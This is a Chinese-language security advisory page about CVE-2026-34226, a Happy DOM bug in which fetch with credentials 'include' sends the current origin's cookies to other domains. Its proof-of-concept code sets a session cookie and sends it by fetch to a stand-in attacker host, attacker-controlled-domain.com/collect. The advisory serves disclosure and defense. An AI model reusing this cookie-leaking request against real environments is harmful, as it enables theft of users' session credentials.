IPBUF安全漏洞报告
English
CVE-2026-34226 CVSS 7.5 高危

CVE-2026-34226 Happy DOM Cookie信息泄露漏洞

披露日期: 2026-03-27

漏洞信息

漏洞编号
CVE-2026-34226
漏洞类型
信息泄露
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Happy DOM

相关标签

信息泄露Happy DOMCookie泄露CVE-2026-34226JavaScript

漏洞概述

Happy DOM是一款无GUI的JavaScript浏览器实现。在20.8.9版本之前,存在一处Cookie处理逻辑错误。当使用fetch请求并开启credentials: "include"时,系统会错误地附加当前页面原点的Cookie,而非请求目标URL对应的Cookie。这一缺陷可能导致敏感Cookie信息被意外发送给第三方目的地,造成信息泄露风险,建议用户尽快升级修复。

技术细节

该漏洞的核心在于Happy DOM对Fetch API中credentials参数的实现错误。在标准的Web安全模型中,当开发者使用fetch请求并设置credentials: "include"时,浏览器应当根据请求的目标URL去匹配并附加对应的Cookie。然而,Happy DOM在20.8.9之前的版本中,其FetchRequestHeaderUtility.ts工具类存在逻辑缺陷。它在处理请求头时,错误地使用了当前页面的源地址作为Cookie的查找源,而非请求的目标地址。这种逻辑偏差导致了严重的信息泄露风险。攻击者若能在Happy DOM提供的模拟浏览器环境中执行JavaScript代码,便可以构造一个指向恶意服务器的fetch请求。由于漏洞的存在,Happy DOM会将当前页面下存储的敏感Cookie(如用户登录凭证、Session ID等)附带在该请求的Header中发送给攻击者。攻击者接收到这些Cookie后,即可冒充用户身份进行操作。该漏洞破坏了同源策略对Cookie的保护机制,无需用户交互即可触发。

攻击链分析

STEP 1
环境初始化
攻击者确保Happy DOM环境(版本<20.8.9)中当前页面已加载敏感Cookie(如session_id)。
STEP 2
构造恶意请求
攻击者编写代码,调用fetch函数向受控的外部目标发起网络请求,并显式设置credentials: 'include'。
STEP 3
触发漏洞逻辑
Happy DOM在处理该请求时,错误地读取window.location下的Cookie并附加到请求头中,而非目标域的Cookie。
STEP 4
信息窃取
包含敏感Cookie的请求被发送至攻击者服务器,攻击者通过解析请求头获取受害者的凭证信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// This PoC demonstrates the cookie leakage in Happy DOM < 20.8.9 // It sets a cookie for the current origin and then makes a fetch request // to an external origin with credentials: 'include'. const { Window } = require('happy-dom'); const window = new Window(); // 1. Simulate the current environment (Origin A) having a sensitive cookie window.document.cookie = 'session_id=super_secret_token; Path=/'; console.log('Cookie on current origin:', window.document.cookie); // 2. Mock the fetch function to intercept the request headers // In a real attack scenario, this request goes to an attacker-controlled server (Origin B) const originalFetch = window.fetch; window.fetch = async (url, options) => { console.log(`[PoC] Sending request to: ${url}`); // In the vulnerable version, headers might contain cookies from window.location // even if 'url' is a different origin. return originalFetch(url, options); }; // 3. Trigger the vulnerable behavior // The Happy DOM bug causes cookies from Origin A to be sent to Origin B window.fetch('http://attacker-controlled-domain.com/collect', { method: 'GET', credentials: 'include' }).then(response => { console.log('Request completed. Cookie potentially leaked to external domain.'); }).catch(err => { console.error('Request failed:', err); });

影响范围

Happy DOM < 20.8.9

防御指南

临时缓解措施
在无法立即升级的情况下,应避免在Happy DOM环境中使用fetch向非信任的第三方域名发送带有credentials: 'include'的请求,或严格限制请求的目标地址白名单。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表